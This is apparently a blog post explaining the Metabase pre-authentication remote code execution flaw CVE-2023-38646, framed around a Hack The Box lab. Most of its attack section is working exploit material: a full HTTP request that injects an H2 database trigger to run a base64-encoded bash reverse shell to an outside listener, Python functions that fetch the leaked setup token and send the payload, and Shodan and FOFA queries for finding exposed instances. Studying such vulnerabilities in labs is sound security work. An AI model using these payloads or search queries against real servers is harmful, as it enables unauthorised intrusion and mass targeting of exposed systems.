CVE Explained: CVE-2023–38646

Explaining the infamous metabase preauth RCE

Metabase had a critical flaw on their platform that allowed attackers to execute arbitrary malicious code. Critical security flaw in versions before 0.46.6.1

Highest Impact

Remote code execution on the server running the application.

  • Does not require any form of authentication

  • The unauthorized access occurred at the server’s privilege level, escalating the severity of the issue.

Exploitation {POC}

When reviewing the different flows inside Metabase and capturing the traffic from the installation steps of the product, researches noticed that there was a special token that was used to allow users to complete the setup process. This token was called the setup-token and most people would assume that the setup flow can only be completed once (the first setup).

This setup token was supposed to be wiped out after the process but didn’t.

So this paved the way for the attackers to access the token for the malicious purposes. This could be possible via two ways:

  1. Viewing the HTML source of the index\\loginpage and finding it embedded in a Jsonobject

  2. Navigating to the endpoint:/api/session/properties

But there’s a catch if the metabase had the setup before this commit was made in the github -> The setup-token won’t be accessible.

Steps:

  1. Retrieve Setup Token: Start by navigating to “http://meta-url.com/api/session/properties" to obtain the setup-token.

Look at the token

  1. Send a POST request to the server:

Here I used a base64 encoded payload in the POST request , we will delve deeper into what is this payload doing and how is it being executed at the end

POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 832
{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzcvNDQzIDA+JjEn}|{base64,-d}|{bash,-i}')\\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

PS: change the base64 shell in above request

and we get the shell:

Exploit development

The part that excites the most is how to develop the exploit , what to look for and all… I can’t go step by step here as it will be veruy long but I can help you in the crucial part:

I took inspiration from Securezeron’s exploit here

  1. getting the Setup-Token:

def get_token_and_version(host):
    endpoint = "/api/session/properties"
    url = f"{host}{endpoint}"
    try:
        console.log(f"Getting the setup token from the {host} url: {url}")
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            data = response.json()
            setup_token = data.get('setup-token')
            metabase_version = data.get("version", {}).get("tag")
if setup_token is None:
                console.log(f"Setup token not found for this {url}", style="red")
            else:
                console.log(f"Setup Token: {setup_token}")
                console.log(f"Version: {metabase_version}")
            return setup_token
    except requests.exceptions.RequestException as e:
        console.log(f"Exception occurred: {e}", style="red")

The part where we develop the post request and actually send the payload :

def post_setup_validate(ip_address, setup_token, listener_ip, listener_port):
    payload = base64.b64encode(f"bash -c 'bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1'".encode()).decode()
    console.log(f"Payload = {payload}")
endpoint = "/api/setup/validate"
    url = f"{ip_address}{endpoint}"
    headers = {'Content-Type': 'application/json'}
    data = {
        "token": setup_token,
        "details": {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules": {},
            "details": {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\\njava.lang.Runtime.getRuntime().exec('bash -c {{echo,{payload}}}|{{base64,-d}}|{{bash,-i}}')\\n$$--=x",
                "advanced-options": False,
                "ssl": True
            },
            "name": "test",
            "engine": "h2"
        }
    }
console.log(f"Sending request to {url} with headers {headers} and data {json.dumps(data, indent=4)}")
try:
        response = requests.post(url, headers=headers, json=data, verify=False)
        console.log(f"Response received: {response.text}")
        if response.status_code == 200:
            console.log(f"POST to {url} successful.\\n")
        else:
            console.log(f"POST to {url} failed with status code: {response.status_code}\\n")
    except requests.exceptions.RequestException as e:
        console.log(f"Exception occurred: {e}")
        console.log(f"Failed to connect to {url}\\n")

The whole exploit can be found here

We run our exploit:

we get the shell again:

How to Practice

setup docker and reproduce above steps also see the yt video for the guide

docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0

Youtube video

HACK-THE-BOX machine: Analytics

DORKS:

This one also provides the other cve details: Source FOFA:

app="Metabase"

SHODAN:

product:"Metabase"

Delve Deep Into exploit

The exploit itself

zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\\nnew java.net.URL('<https://example.com/pwn134>').openConnection().getContentLength()\\n$$--=x\\\\;
  1. zip:/app/metabase.jar!/sample-database.db: It seems to be specifying a database file located within the Metabase JAR archive.

  2. ;MODE=MSSQLServer: This sets the mode for the database to MSSQLServer. It might be an attempt to exploit a specific behavior related to Microsoft SQL Server.

  3. ;TRACE_LEVEL_SYSTEM_OUT=1: It sets the trace level to output system information. This could be used for debugging purposes.

  4. \\\\\\\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\\\\nnew java.net.URL('<https://example.com/pwn134>').openConnection().getContentLength()\\\\n$$--=x\\\\\\\\;:

  • CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES: This part attempts to create a trigger named IAMPWNED before any SELECT operation on the INFORMATION_SCHEMA.TABLES table.

  • AS $$//javascript\\\\nnew java.net.URL('<https://example.com/pwn134>').openConnection().getContentLength()\\\\n$$--=x\\\\\\\\;:

  • This is the body of the trigger, written in JavaScript-like syntax. It attempts to make an HTTP request to https://example.com/pwn134 and retrieve the content length.

  • The $$ is used as a delimiter for the JavaScript code.

  • The =x\\\\\\\\; at the end might be an attempt to comment out the rest of the SQL query to avoid syntax errors.

If you Like my Post , Let’s connect:

Linkedin

Twitter

Last updated